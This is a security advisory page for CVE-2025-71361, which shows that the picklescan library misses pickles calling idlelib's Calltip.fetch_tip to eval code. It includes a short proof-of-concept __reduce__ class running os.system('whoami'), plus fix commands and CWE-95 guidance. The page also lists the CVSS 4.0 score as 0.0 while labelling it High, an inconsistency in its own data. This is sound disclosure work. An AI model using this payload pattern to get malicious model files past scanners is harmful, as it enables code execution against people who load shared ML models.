GHSA-8r4j-24qv-fmq9 CVE-2025-71361 PYSEC-2026-1786
Picklescan has a missing detection when calling built-in python idlelib.calltip.Calltip
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 37.29% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- Fix
0.0.29- Upgrade picklescan to this version or later
Description
Summary
Using idlelib.calltip.Calltip.fetch_tip, which is a built-in python library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.calltip.Calltip.fetch_tip function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
class EvilCalltipFetchTip:
def __reduce__(self):
from idlelib.calltip import Calltip
# fetch_tip(expression) -> get_entity(expression) -> eval(expression)
return Calltip().fetch_tip, ("__import__('os').system('whoami')",)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| picklescan | < 0.0.29 |
0.0.29 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
picklescan PyPI → 0.0.29
- pip
pip install --upgrade "picklescan>=0.0.29"- poetry
poetry add "picklescan>=0.0.29"- uv
uv add "picklescan>=0.0.29"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
How to prevent it
- Architecture and Design, Implementation: If possible, refactor your code so that it does not need to use eval() at all.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
- github.com/mmaitre314/picklescan/security/advisories/GHSA-8r4j-24qv-fmq9
- github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114
- github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-1786.yaml
- pypi.org/project/picklescan
- vulncheck.com/advisories/picklescan-remote-code-execution-via-undetected-idlelib-c…
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-g38g-8gr9-h9xp PickleScan has multiple stdlib modules with direct RCE not in blocklist | Critical | Also affects picklescan |
| GHSA-vvpj-8cmc-gx39 PickleScan's pkgutil.resolve_name has a universal blocklist bypass | Critical | Also affects picklescan |
| GHSA-7wx9-6375-f5wh PickleScan's profile.run blocklist mismatch allows exec() bypass | Critical | Also affects picklescan |
| GHSA-97f8-7cmv-76j2 Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER | High | Also affects picklescan |
| GHSA-m7j5-r2p5-c39r picklescan vulnerable to arbitrary file create using logging.FileHandler | Medium | Also affects picklescan |
| GHSA-9m3x-qqw2-h32h picklescan missing detection by simple obfuscation of a `builtins.eval` call | Critical | Also affects picklescan |
| GHSA-9726-w42j-3qjr picklescan has Arbitrary file read using `io.FileIO` | High | Also affects picklescan |
| GHSA-46h3-79wf-xr6c Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter | High | Also affects picklescan |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor